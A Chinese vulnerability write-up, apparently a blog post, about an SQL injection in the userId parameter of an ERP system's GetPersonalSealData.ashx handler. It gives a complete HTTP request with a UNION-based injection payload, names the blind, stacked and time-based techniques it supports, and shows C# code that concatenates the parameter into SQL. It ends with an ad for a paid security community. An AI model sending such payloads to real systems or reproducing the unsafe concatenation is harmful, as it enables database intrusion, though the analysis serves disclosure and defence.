.NET 漏洞分析 | 某ERP系统存在SQL注入

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

某邦一体化ERP将企业物流、资金流、信息流等所有资源整合在一起,对销售、采购、生产、成本、库存、分销、运输、财务、人力资源进行规划,在一套系统内解决企业所有的管理问题,数据实时共享,全程监控各个环节的运转和协作,让企业最大限度利用现有资源取得最佳经济效益。国际是一体化ERP十大品牌,专注于企业数智化转型20多年,一体化ERP全面产品线,该ERP GetPersonalSealData.ashx接口存在SQL注入漏洞。

03漏洞复现

近日外部渠爆出该系统存在SQL漏洞,参数userId存在SQL注入漏洞,具体的数据包如下

复制代码
GET /SYSN/json/pcclient/GetPersonal****.ashx?imageDate=1&userId=-2%20union%20select%20@@version-- HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: *
Connection: Keep-Alive

该注入点支持使用多种注入技术进行测试,包括布尔盲注、堆叠查询、基于时间的盲注和 UNION 查询。如下图所示。

堆叠查询使用 DECLARE 和 WAITFOR DELAY 语句,测试注入点是否可以执行多个SQL查询,返回后台数据库版本是 Microsoft SQL Server 2008,并且当前用户具有 DBA(数据库管理员)权限。

04漏洞分析

GetPersonal****.ashx 文件中存在不安全的 SQL 查询处理,会直接将传入的 userId 参数拼接到 SQL 查询字符串中,从而导致 SQL 注入漏洞。具体代码如下所示。

复制代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Web;

public class GetPersonalSealData : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        // 获取请求参数
        string imageDate = context.Request.QueryString["imageDate"];
        string userId = context.Request.QueryString["userId"];
        string query = "SELECT * FROM PersonalSealData WHERE ImageDate = @imageDate AND UserId = " + userId;
    }
    public bool IsReusable
    {
        get { return false; }
    }
}

从 QueryString 中获取 imageDate 和 userId 参数,使用字符串拼接构建 SQL 查询,直接将 userId 参数包含在查询字符串中,导致 SQL 注入漏洞。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

相关推荐
林伽一9 分钟前
能力趋同、账单分化,技术选型正在从榜单转向负载|2026年10月06日
人工智能·科技·安全·ai
ShineWinsu1 小时前
对于Redis:主从复制的解析
linux·数据库·c++·redis·缓存·面试·主从复制
许彰午1 小时前
03-Linux环境准备依赖包内核参数与用户组
linux·运维·服务器·数据库
阳光九叶草LXGZXJ2 小时前
达梦数据库-报错-16-MERGE INTO提示:无效的列名[XX]
linux·运维·数据库·sql·学习
墨天梦2 小时前
B10_文件SharedPreferences与SQLite
jvm·数据库·sqlite
鲲极2 小时前
居间业务数据统计看板 三条取数口径怎么归一才对得上
数据库·鲲极·鲲极系统
ao-weilai2 小时前
MySQL数据库:基本查询
android·数据库·mysql
java1234_小锋2 小时前
【技术专题】Mysql8 数据库 - Mysql8 查询数据
数据库·mysql
HackTwoHub2 小时前
Clown SRC skill第二代2.x最新版企业安全研究 Skill|证据优先的 SRC 与白盒审计工作流正式更新
网络·安全·web安全·网络安全·系统安全·密码学·安全架构